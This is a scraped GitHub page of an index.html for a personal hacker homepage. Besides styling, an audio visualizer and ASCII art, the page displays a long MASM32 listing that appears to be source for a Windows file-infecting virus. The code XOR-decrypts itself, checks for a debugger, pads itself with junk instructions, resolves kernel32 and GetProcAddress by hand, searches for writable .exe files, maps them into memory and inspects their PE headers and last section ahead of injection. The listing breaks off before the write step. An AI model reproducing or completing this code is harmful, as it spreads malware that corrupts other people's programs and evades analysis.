-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
1933 lines (1807 loc) · 57.9 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="robots" content="noai, noimageai">
<title>thermionik!</title>
<link rel="shortcut icon" href="./img/favicon.ico" type="image/x-icon">
<!-- The only know website with the glorious Peter De jong attractor -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<style type="text/css">
@font-face {
font-family: "Bitstream Vera Sans Mono";
font-weight: normal;
src: url("./r0b0_files/veramono.ttf");
}
@font-face {
font-family: "Bitstream Vera Sans Mono";
font-weight: bold;
src: url("./r0b0_files/veramonobold.ttf");
}
body,pre,b { font-size: 10pt; line-height: 12pt;
font-family: "Bitstream Vera Sans Mono", Menlo, "Courier New", Courier, monospace }
b { font-weight: bold; color:#0F0; background:#000; position:relative; }
body { width: 50em; margin: 0.5em auto; overflow: hidden; }
pre { position:relative; }
a:hover { background:rgba(0,0,0,0.7); text-decoration:none;
border:1px solid #0F0; margin:-17px; padding:16px;
position:relative; z-index:1; }
.c { height:2520pt; overflow:hidden; cursor:default; }
@media screen and (max-width: 480px) {
body { width: auto; margin: auto; }
pre { overflow-x: auto; -webkit-overflow-scrolling: touch; }
}
.circle
{
position: absolute;
bottom: 0;
width: 20px;
aspect-ratio: 1/1;
background: #0f0;
box-shadow: 0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 50px #0f0;
border-radius: 50%;
animation: animate 5s linear forwards;
}
@keyframes animate
{
0%
{
transform: translateY(0);
opacity: 1;
}
50%
{
transform: translateY(0);
opacity: 1;
}
100%
{
transform: translateY(-100vh);
opacity: 0;
}
}
.circle::before
{
content: '';
position: absolute;
top: 100%
width: 50%
height: 100vh;
opacity: 0.5s;
background: linear-gradient(#0f0,transparent);
}
.center {
display: block;
margin-left: auto;
margin-right: auto;
}
.left {
display: block;
margin-left: none;
margin-right: auto;
}
.right {
display: block;
margin-left: auto;
margin-right: none;
}
#thefile {
position: fixed;
top: 10px;
left: 10px;
z-index: 100;
}
.overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 0;
pointer-events: none;
background: rgba(0, 0, 0, 0.10);
}
.overlay iframe {
width: 100%;
height: 100%;
border: none;
pointer-events: auto;
background: transparent; /* This makes the iframe completely transparent */
display: none; /* This will make the iframe initially invisible */
}
#visualizer-container {
position: fixed;
bottom: 0; /* Pin to the bottom of the screen */
left: 50%;
transform: translateX(-50%);
width: 100%;
height: 40%;
overflow: hidden;
background-color: rgba(0, 0, 0, 0.1);
}
#canvas {
width: 100%;
height: 100%;
}
audio {
position: fixed;
left: 10px;
bottom: 10px;
width: 1;
}
img {
display: inline-block;
}
.top-left-text {
position: absolute;
top: 20px; /* Adjust the top distance as needed */
left: 20px; /* Adjust the left distance as needed */
font-size: 18px; /* Font size */
font-family: Arial, sans-serif; /* Font family */
}
.top-right-text {
position: absolute;
top: 20px; /* Adjust the top distance as needed */
right: 20px; /* Adjust the left distance as needed */
font-size: 18px; /* Font size */
font-family: Arial, sans-serif; /* Font family */
}
/* Three image containers (use 25% for four, and 50% for two, etc) */
.column {
padding: 5px;
display: inline-block;
margin: 0 auto;
}
/* Clear floats after image containers */
.row::after {
content: "";
clear: both;
display: table;
}
iframe {
margin: 0;
padding: 0;
border: 0;
width: 100%;
height: 100%;
}
.background-iframe {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: -1; /* Set a lower z-index to move it to the background */
margin: 0;
padding: 0;
border: 0;
width: 100%;
height: 100%;
}
-->
</style>
<div id="index-container">
<div id="visualizer-container"><canvas id="canvas"></canvas></div>
<script type="text/javascript" async="" src="./r0b0_files/js"></script></head>
<div class="overlay">
<iframe src="force.html"></iframe></div>
<body bgcolor="#000000" text="#00FF41" link="#44FF44" vlink="#44FF44" alink="#FFFFFF">
<div class="c">
<img src="./img/top.png" alt="logo" width=160 style="float: right; margin: 77px";><pre style="top: -2244pt;">
<pre>
</pre>
<b style="top: 2244pt;"><a onclick="toggleMusic()"><big>♫</big></a></b>
<b style="top: 2244pt;"><a href="./mmm.html"target="_blank">hacks</a></b>
<b style="top: 2244pt;"><a href="https://github.com/thermionik"target="_blank">warez</a></b>
<b style="top: 2244pt;"><a href="mailto:thermionik@proton.me"target="_blank"style='color: #0F0'>contact</a></b><b style="color: #FFFF00;"><pre>
.=======.
[<a>I N R I</a>]
| |
| |
.========' '========.
| _ xxxx _ |
| /_;-.__ / _\ _.-;_\ |
| `-._`'`_/'`.-' |
'========. `\ /`========='
| | / |
| /-.( |
| \_._\ |
| \ \`;|
| > |/|
| / // |
| |// |
| \(\ |
| `` |
|_______|
<a>JESUS IS LORD</a></pre></b><b style="color: #FF0000;"><pre>
.-""""""""-.
/ \
_ | | _
( \ |, .-. .-. ,| / )
> "=_ | )(__/ \__)( | _=" <
(_/"=_"=._ |/ /\ \| _="_="\_)
"=._"(_ ^^ _)"_="
"=\__|IIIIII|__/="
_="| \IIIIII/ |"=_
_ _.="_="\ /"=_"=._ _
( \_="_.=" `--------` "=._"=_/ )
> _=" "=_ <
(_/ \_) </pre></b>
<script>
let audioCtx, analyser, canvas, ctx, dataArray, source;
// Animation function
function lines(){
let sizeW = Math.random() * 12;
let e = document.createElement('div');
e.setAttribute('class','circle');
document.body.appendChild(e);
e.style.width = 2+sizeW+'px';
e.style.left = Math.random() * + innerWidth + 'px';
setTimeout(function(){
document.body.removeChild(e)
},7000);
}
setInterval(lines, 100); // Run animation continuously
function toggleMusic() {
if (!audioCtx || !audioCtx.state || audioCtx.state === 'closed') {
audioCtx = new AudioContext();
analyser = audioCtx.createAnalyser();
canvas = document.createElement("canvas");
// Get the #visualizer-container element
const visualizerContainer = document.getElementById("visualizer-container");
// Clear any existing content in the container
visualizerContainer.innerHTML = "";
// Append the canvas to the #visualizer-container
visualizerContainer.appendChild(canvas);
ctx = canvas.getContext("2d");
canvas.width = visualizerContainer.offsetWidth; // Set canvas width to container width
canvas.height = visualizerContainer.offsetHeight; // Set canvas height to container height
analyser.fftSize = 256;
let bufferLength = analyser.frequencyBinCount;
dataArray = new Uint8Array(bufferLength);
analyser.connect(audioCtx.destination);
source = audioCtx.createMediaElementSource(new Audio("./theme.mp3"));
source.connect(analyser);
source.mediaElement.play();
renderFrame();
} else {
source.mediaElement.pause();
audioCtx.close().then(() => {
// Remove the canvas from the #visualizer-container
document.getElementById("visualizer-container").removeChild(canvas);
}).catch((err) => console.error(err));
}
}
function renderFrame() {
requestAnimationFrame(renderFrame);
analyser.getByteFrequencyData(dataArray);
ctx.clearRect(0, 0, canvas.width, canvas.height);
let containerWidth = document.getElementById('visualizer-container').offsetWidth;
let containerHeight = document.getElementById('visualizer-container').offsetHeight;
let barWidth = (containerWidth / dataArray.length) * 1.0;
let centerX = containerWidth / 2;
let scaleFactor = containerHeight / 256; // Adjust this value for scaling
ctx.fillStyle = "rgba(70, 70, 70, 0.7)";
let x = centerX - barWidth - 1;
for (let i = 0; i < dataArray.length / 2; i++) {
let barHeight = dataArray[i] * scaleFactor;
ctx.fillRect(x, containerHeight - barHeight, barWidth, barHeight);
x -= barWidth + 1;
}
x = centerX;
for (let i = 0; i < dataArray.length / 2; i++) {
let barHeight = dataArray[i] * scaleFactor;
ctx.fillRect(x, containerHeight - barHeight, barWidth, barHeight);
x += barWidth + 1;
}
}
// JavaScript to conditionally show/hide elements based on screen width
window.addEventListener('DOMContentLoaded', function () {
var screenWidth = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
// Function to toggle visibility based on screen width
function toggleVisibility() {
var r0b0Container = document.getElementById('r0b0-container');
var indexContainer = document.getElementById('index-container');
if (screenWidth < 1024) { // Adjust the threshold as needed
r0b0Container.style.display = 'block';
indexContainer.style.display = 'none';
} else {
r0b0Container.style.display = 'block';
indexContainer.style.display = 'block';
}
}
// Initial toggle on page load
toggleVisibility();
// Toggle visibility on window resize
window.addEventListener('resize', toggleVisibility);
});
</script>
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\wdm.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include .\r0b0h0b0.inc
includelib \masm32\lib\kernel32.lib
.code
start_of_code:
call decryptor_get_eip
decryptor_get_eip:
pop edx
sub edx, 5
push edx ; save it
push eax
pop eax
lea esi, [edx + (data - start_of_code)]
push eax
pop eax
; check for debugger
ASSUME FS:NOTHING
mov edx, fs:[30h]
ASSUME FS:ERROR
cmp (PEB PTR [edx]).BeingDebugged, 0
push eax
pop eax
nop
jne end_of_code
nop
cypt_key:
mov edx, 00000000h
xor ecx, ecx
decryptor_loop_b:
cmp ecx, (end_of_code - data)
je decryptor_loop_e
mov al, [esi + ecx]
xor al, dl
nop
mov [esi + ecx], al
push eax
pop eax
inc ecx
nop
ror edx, cl
jmp decryptor_loop_b
decryptor_loop_e:
pop eax ; start_of_code address
mov ebp, esp ; reset ebp
nop
lea eax, [eax + (start - start_of_code)]
jmp eax
PopUp proc
LOCAL pMem :DWORD
push ebx
push esi
push edi
mov pMem, 29
<a>mov</a> <a>esi</a>, <a>pMem</a>
<a>mov</a> <a>DWORD</a> <a>PTR</a> [<a>esi</a>+0], <a>3527344145</a>
<a>mov</a> <a>DWORD</a> <a>PTR</a> [<a>esi</a>+4], <a>1053247386</a>
<a>mov</a> <a>DWORD</a> <a>PTR</a> [<a>esi</a>+8], <a>3139946680</a>
<a>mov</a> <a>DWORD</a> <a>PTR</a> [<a>esi</a>+12], <a>2011744531</a>
<a>mov</a> <a>DWORD</a> <a>PTR</a> [<a>esi</a>+16], <a>3925728362</a>
<a>mov</a> <a>DWORD</a> <a>PTR</a> [<a>esi</a>+20], <a>1185816795</a>
<a>mov</a> <a>DWORD</a> <a>PTR</a> [<a>esi</a>+24], <a>1387125627</a>
<a>mov</a> <a>edi</a>, 28
<a>or</a> <a>ebx</a>, -1
<a>@@:</a>
<a>add</a> <a>ebx</a>, 1
<a>movzx</a> <a>edx</a>, <a>BYTE</a> <a>PTR</a> [<a>PopUp_pad</a>+<a>ebx</a>]
<a>xor</a> [<a>esi</a>+<a>ebx</a>], <a>dl</a>
<a>sub</a> <a>edi</a>, 1
<a>jnz</a> @B
<a>mov</a> <a>eax</a>, <a>pMem</a>
<a>mov</a> <a>ecx</a>, 28
<a>pop</a> <a>edi</a>
<a>pop</a> <a>esi</a>
<a>pop</a> <a>ebx</a>
<a>ret</a>
<a>.data</a>
<a>PopUp_pad</a> \
<a>db</a> <a>97,119,81,183,254,103,165,71,152,172,70,155,97,249,138,71</a>
<a>db</a> <a>2,236,159,217,245,0,253,46,19,179,197,115</a>
<a>.code</a>
<a>PopUp</a> <a>endp</a>
; <a>ret</a> : <a>function</a> <a>address</a>
; <a>arg1</a>: <a>function</a> <a>name</a>
; <a>arg2</a>: <a>STACK_STORAGE</a> <a>struct</a>
<a>GetProcAddr</a>:
<a>pop</a> <a>eax</a> ; <a>ret</a>
<a>nop</a>
<a>pop</a> <a>ecx</a> ; <a>arg1</a>
<a>nop</a>
<a>pop</a> <a>edx</a> ; <a>arg2</a>
<a>nop</a>
<a>push</a> <a>eax</a>
<a>push</a> <a>ecx</a>
<a>push</a> (<a>STACK_STORAGE</a> <a>PTR</a> [<a>edx</a>]).<a>GetProcAddress_module</a>
<a>nop</a>
<a>call</a> (<a>STACK_STORAGE</a> <a>PTR</a> [<a>edx</a>]).<a>GetProcAddress_addr</a>
<a>pop</a> <a>edx</a>
<a>nop</a>
<a>jmp</a> <a>edx</a>
; <a>ret</a> : <a>none</a>
; <a>arg1</a>: <a>file</a> <a>size</a>
; <a>arg2</a>: <a>STACK_STORAGE</a> <a>struct</a>
<a>MapFileToRAM</a>:
; <a>use</a> <a>of</a> <a>offsets</a> <a>on</a> <a>esp</a>, <a>because</a> <a>the</a> <a>arguments</a>
; <a>and</a> <a>return</a> <a>address</a> <a>are</a> <a>on</a> <a>the</a> <a>stack</a>
<a>push</a> [esp + (<a>sizeof</a> <a>DWORD</a> * 2)]
<a>nop</a>
<a>lea</a> <a>eax</a>, [<a>ebx</a> + (<a>CreateFileMapping_str</a> - <a>data</a>)]
<a>nop</a>
<a>push</a> <a>eax</a>
<a>call</a> <a>GetProcAddr</a>
<a>mov</a> <a>edx</a>, [esp + (<a>sizeof</a> <a>DWORD</a> * 2)]
<a>nop</a>
<a>mov</a> <a>edx</a>, (<a>STACK_STORAGE</a> <a>PTR</a> [<a>edx</a>]).<a>fileHandle</a>
<a>nop</a>
<a>mov</a> <a>ecx</a>, [esp + (<a>sizeof</a> <a>DWORD</a> * 1)]
<a>nop</a>
<a>push</a> <a>NULL</a>
<a>push</a> <a>ecx</a>
<a>push</a> 0
<a>push</a> <a>ebx</a>
<a>nop</a>
<a>push</a> <a>esi</a>
<a>push</a> <a>edi</a>
<a>pop</a> <a>edi</a>
<a>pop</a> <a>esi</a>
<a>pop</a> <a>ebx</a>
<a>push</a> <a>PAGE_READWRITE</a>
<a>push</a> <a>NULL</a>
<a>nop</a>
<a>push</a> <a>edx</a>
<a>call</a> <a>eax</a> ; <a>CreateFileMapping()</a>
<a>mov</a> <a>edx</a>, [esp + (<a>sizeof</a> <a>DWORD</a> * 2)]
<a>mov</a> (<a>STACK_STORAGE</a> <a>PTR</a> [<a>edx</a>]).<a>fileMappingHandle</a>, <a>eax</a>
<a>nop</a>
<a>push</a> [esp + (<a>sizeof</a> <a>DWORD</a> * 2)]
<a>lea</a> <a>eax</a>, [<a>ebx</a> + (<a>MapViewOfFile_str</a> - <a>data</a>)]
<a>push</a> <a>eax</a>
<a>call</a> <a>GetProcAddr</a>
<a>mov</a> <a>edx</a>, [esp + (<a>sizeof</a> <a>DWORD</a> * 2)]
<a>mov</a> <a>edx</a>, (<a>STACK_STORAGE</a> <a>PTR</a> [<a>edx</a>]).<a>fileMappingHandle</a>
<a>nop</a>
<a>push</a> 0
<a>push</a> 0
<a>push</a> 0
<a>nop</a>
<a>push</a> (<a>FILE_MAP_WRITE</a> or <a>FILE_MAP_READ</a>)
<a>push</a> <a>edx</a>
<a>call</a> <a>eax</a> ; <a>MapViewOfFile()</a>
<a>mov</a> <a>edx</a>, [esp + (<a>sizeof</a> <a>DWORD</a> * 2)]
<a>mov</a> (<a>STACK_STORAGE</a> <a>PTR</a> [<a>edx</a>]).<a>fileView</a>, <a>eax</a>
<a>pop</a> <a>edx</a>
<a>pop</a> <a>ecx</a>
<a>pop</a> <a>ecx</a>
<a>jmp</a> <a>edx</a>
; <a>ret</a> : <a>none</a>
; <a>arg1</a>: <a>STACK_STORAGE</a> <a>struct</a>
<a>UnmapFileFromRAM</a>:
<a>push</a> [esp + (<a>sizeof</a> <a>DWORD</a> * 1)]
<a>nop</a>
<a>nop</a>
<a>lea</a> <a>eax</a>, [<a>ebx</a> + (<a>UnmapViewOfFile_str</a> - <a>data</a>)]
<a>push</a> <a>eax</a>
<a>call</a> <a>GetProcAddr</a>
<a>mov</a> <a>edx</a>, [esp + (<a>sizeof</a> <a>DWORD</a> * 1)]
<a>nop</a>
<a>push</a> (<a>STACK_STORAGE</a> <a>PTR</a> [<a>edx</a>]).<a>fileView</a>
<a>nop</a>
<a>nop</a>
<a>call</a> <a>eax</a> ; <a>UnmapViewOfFile()</a>
<a>nop</a>
<a>push</a> [esp + (<a>sizeof</a> <a>DWORD</a> * 1)]
<a>nop</a>
<a>lea</a> <a>eax</a>, [<a>ebx</a> + (<a>CloseHandle_str</a> - <a>data</a>)]
<a>push</a> <a>eax</a>
<a>call</a> <a>GetProcAddr</a>
<a>mov</a> <a>edx</a>, [esp + (<a>sizeof</a> <a>DWORD</a> * 1)]
<a>nop</a>
<a>nop</a>
<a>push</a> (<a>STACK_STORAGE</a> <a>PTR</a> [<a>edx</a>]).<a>fileMappingHandle</a>
<a>call</a> <a>eax</a> ; <a>CloseHandle()</a>
<a>pop</a> <a>edx</a>
<a>pop</a> <a>ecx</a>
<a>jmp</a> <a>edx</a>
; ret : bool
; arg1: string1
; arg2: string2
; arg3: length
lstrncmp:
xor esi, esi ; string offset
nop
xor eax, eax
lstrncmp_loop:
cmp esi, [esp + (sizeof DWORD * 3)]
nop
je lstrncmp_end_equal
nop
mov ecx, [esp + (sizeof DWORD * 1)]
nop
mov cl, [ecx + esi]
mov edx, [esp + (sizeof DWORD * 2)]
nop
mov dl, [edx + esi]
nop
cmp cl, dl
jne lstrncmp_end_not_equal
inc esi
nop
jmp lstrncmp_loop
lstrncmp_end_equal:
mov al, 1
nop
jmp lstrncmp_end
lstrncmp_end_not_equal:
mov al, 0
nop
lstrncmp_end:
pop edx
nop
pop ecx
pop ecx
nop
pop ecx
nop
jmp edx
start:
call get_eip ; get the injected exe env instruction pointer
push ebx
push esi
push edi
pop edi
pop esi
pop ebx
get_eip:
pop ebx
; ebx holds "data section" address
; (call instruction + (start label address - data label instruction))
nop
sub ebx, (5 + (start - data))
push ebx ; save it back temporarily
; resolve kernel32 base address
ASSUME FS:NOTHING
mov edx, fs:[30h] ; get the PEB struct
nop
ASSUME FS:ERROR
; ->Ldr / get the PEB_LDR_DATA struct
mov edx, (PEB PTR [edx]).Ldr
; ->InMemoryOrderModuleList / gets the loaded modules linked list
lea edx, (PEB_LDR_DATA PTR [edx]).InMemoryOrderModuleList
nop
; loop through the linked list until we match with "KERNEL32.DLL"
; partial case insensitive check : length=12; name[0]=K; name[5]=L; name[6]=3; name[7]=2
; enough because KERNEL32 should always be before some other DLL matching this pattern
loop_find_kernel32:
; ->FullDllName / get the UNICODE_STRING struct
lea eax, (LDR_DATA_TABLE_ENTRY PTR [edx]).FullDllName
; ->Len
mov bx, (UNICODE_STRING PTR [eax]).Len
nop
; check the length
cmp bx, (12 * sizeof WCHAR)
jne loop_find_kernel32_continue
nop
; ->Buffer
mov eax, (UNICODE_STRING PTR [eax]).Buffer
; check the string
xor edi, edi
mov bx, [eax]
mov di, 'K'
nop
cmp bx, 'a' ; check case
jl lfk32_first_letter_cmp
add di, ('a' - 'A') ; make lowercase
lfk32_first_letter_cmp:
cmp bx, di
jne loop_find_kernel32_continue
nop
mov bx, [eax + 5 * sizeof WCHAR]
mov di, 'L'
nop
cmp bx, 'a'
jl lfk32_second_letter_cmp
add di, ('a' - 'A')
lfk32_second_letter_cmp:
cmp bx, di
jne loop_find_kernel32_continue
mov ebx, [eax + 6 * sizeof WCHAR]
nop
cmp ebx, 00320033h ; "32" in little endian wide characters
nop
jne loop_find_kernel32_continue
jmp loop_find_kernel32_end
loop_find_kernel32_continue:
; (LIST_ENTRY)->Flink / get next loaded module
mov edx, (LIST_ENTRY PTR [edx]).Flink
nop
jmp loop_find_kernel32
loop_find_kernel32_end:
; ->DllBase, for some reason, does not hold the base address
; instead ->Reserved2[0] does
mov ebx, (LDR_DATA_TABLE_ENTRY PTR [edx]).Reserved2[0 * sizeof PVOID]
nop
mov edx, ebx
; get PE header (base address + offset from the DOS header)
add edx, [edx + 03Ch]
nop
; get export table
mov edx, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edx]).OptionalHeader) \
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT * sizeof IMAGE_OPTIONAL_HEADER] \
.VirtualAddress
add edx, ebx
push edx ; save export table on the stack
; get function names array
mov edx, [edx + 020h] ; AddressOfNames
nop
add edx, ebx
nop
xor ecx, ecx ; index = 0
; loop trough export function names
loop_find_gpa:
mov eax, [edx + ecx]
add eax, ebx
; check the string with "GetProcA", should be enough
; in reverse because of the endianness
mov edi, [eax]
nop
cmp edi, 'PteG'
nop
jne loop_find_gpa_continue
mov edi, [eax + 4]
nop
cmp edi, 'Acor'
jne loop_find_gpa_continue
jmp loop_find_gpa_end
loop_find_gpa_continue:
add ecx, sizeof LPSTR ; index += 1
nop
jmp loop_find_gpa
loop_find_gpa_end:
pop edx ; get the export table back
nop
mov eax, edx
; now use this index to find the function ordinal (address array index)
mov edx, [edx + 024h] ; AddressOfNameOrdinals
add edx, ebx
shr ecx, 1 ; index /= 2 (32 bit array -> 16 bit array)
xor edi, edi
nop
nop
nop
mov di, [edx + ecx]
shl edi, 2 ; index *= 4 (sizeof PVOID)
mov edx, eax
; now use the ordinal to get the function address
mov edx, [edx + 01Ch] ; AddressOfFunctions
add edx, ebx
nop
nop
mov ecx, [edx + edi]
add ecx, ebx
nop
mov edi, ebx ; save kernel32 base address
; check STACK_STORAGE DWORD (4 bytes) alignment
xor edx, edx
mov ax, sizeof STACK_STORAGE
mov bx, 4
div bx
nop
add dx, sizeof STACK_STORAGE
pop ebx
nop
; allocate space on the stack, sp register instead of esp because
; the structure size fits in a WORD, saves on instruction size
sub sp, dx
; store GetProcAddress address
mov (STACK_STORAGE PTR [esp]).GetProcAddress_addr, ecx
; store kernel32 base address
nop
mov (STACK_STORAGE PTR [esp]).kernel32BaseAddr, edi
; set it as module for GetProcAddress
nop
mov (STACK_STORAGE PTR [esp]).GetProcAddress_module, edi
; set actual struct size on stack
nop
mov (STACK_STORAGE PTR [esp]).alignedSize, dx
push esp
lea eax, [ebx + (FindFirstFile_str - data)]
push eax
call GetProcAddr
mov (STACK_STORAGE PTR [esp]).fileQueryHandle, INVALID_HANDLE_VALUE
nop
lea edx, (STACK_STORAGE PTR [esp]).fileStruct
push edx
lea edx, [ebx + (fileQuery - data)]
push edx
call eax ; FindFirstFile()
cmp eax, INVALID_HANDLE_VALUE
nop
je loop_find_file_end
mov (STACK_STORAGE PTR [esp]).fileQueryHandle, eax
nop
loop_find_file:
push esp
lea eax, [ebx + (GetFullPathName_str - data)]
push eax
call GetProcAddr
; check file and put it on the stack if needed
lea edx, (STACK_STORAGE PTR [esp]).fileName
lea ecx, (WIN32_FIND_DATA PTR (STACK_STORAGE PTR [esp]).fileStruct).cFileName
push NULL
push edx
push MAX_PATH
push ecx
nop
nop
nop
call eax ; GetFullPathName() / get absolute file path
; check if it actually ends with .exe
push esp
lea eax, [ebx + (lstrlen_str - data)]
push eax
call GetProcAddr
lea edx, (STACK_STORAGE PTR [esp]).fileName
push edx
call eax
; get to the end of the name, expecting ".exe"
lea edx, (STACK_STORAGE PTR [esp]).fileName[eax - 4]
mov edx, [edx]
cmp edx, 'exe.' ; (little endian)
jne loop_find_file_continue
; check if it's a directory
mov edx, (WIN32_FIND_DATA PTR (STACK_STORAGE PTR [esp]).fileStruct).dwFileAttributes
and edx, FILE_ATTRIBUTE_DIRECTORY
nop
nop
nop
cmp edx, FILE_ATTRIBUTE_DIRECTORY
je loop_find_file_continue
; check if it's a read-only file
mov edx, (WIN32_FIND_DATA PTR (STACK_STORAGE PTR [esp]).fileStruct).dwFileAttributes
and edx, FILE_ATTRIBUTE_READONLY
cmp edx, FILE_ATTRIBUTE_READONLY
nop
nop
nop
je loop_find_file_continue
; Target appears good
push esp
lea eax, [ebx + (CreateFile_str - data)]
push eax
call GetProcAddr
lea edx, (STACK_STORAGE PTR [esp]).fileName
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push (FILE_SHARE_READ or FILE_SHARE_WRITE)
push (GENERIC_READ or GENERIC_WRITE)
push edx
nop
nop
nop
call eax ; CreateFile()
cmp eax, INVALID_HANDLE_VALUE
je loop_find_file_continue ; if handle != null
mov (STACK_STORAGE PTR [esp]).fileHandle, eax
push esp
push 0
call MapFileToRAM
; get PE header (base address + offset from the DOS header)
mov edi, (STACK_STORAGE PTR [esp]).fileView
add edi, [edi + 03Ch]
; check if executable
mov ax, (IMAGE_FILE_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).FileHeader).Characteristics
and ax, IMAGE_FILE_EXECUTABLE_IMAGE
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE
jne close_target
nop
nop
nop
; check if 32 bit
mov ax, (IMAGE_FILE_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).FileHeader).Machine
cmp ax, IMAGE_FILE_MACHINE_I386
jne close_target
; get sections count
xor ecx, ecx
mov cx, (IMAGE_FILE_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).FileHeader).NumberOfSections
dec ecx
; get last section header
mov eax, sizeof IMAGE_SECTION_HEADER
mul ecx ; eax = (sizeof IMAGE_SECTION_HEADER * NumberOfSections)
lea edx, (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader
nop
nop
nop
add dx, (IMAGE_FILE_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).FileHeader).SizeOfOptionalHeader
mov ecx, edx ; save first section header
add edx, eax
mov (STACK_STORAGE PTR [esp]).filePeHeader, edi
mov (STACK_STORAGE PTR [esp]).fileLastSectionHeader, edx
; check if itself
mov eax, ebx
add eax, (start - data)
; get physical entry point address
sub ecx, sizeof IMAGE_SECTION_HEADER
find_entrypoint_section_loop:
add ecx, sizeof IMAGE_SECTION_HEADER
mov edx, (IMAGE_SECTION_HEADER PTR [ecx]).VirtualAddress
add edx, (IMAGE_SECTION_HEADER PTR [ecx]).Misc
cmp edx, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).AddressOfEntryPoint
jl find_entrypoint_section_loop
mov edx, (IMAGE_SECTION_HEADER PTR [ecx]).VirtualAddress
sub edx, (IMAGE_SECTION_HEADER PTR [ecx]).PointerToRawData
mov ecx, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).AddressOfEntryPoint
add ecx, (STACK_STORAGE PTR [esp]).fileView
sub ecx, edx
push end_of_code - start
push ecx
push eax
call lstrncmp
cmp al, 0
jne close_target
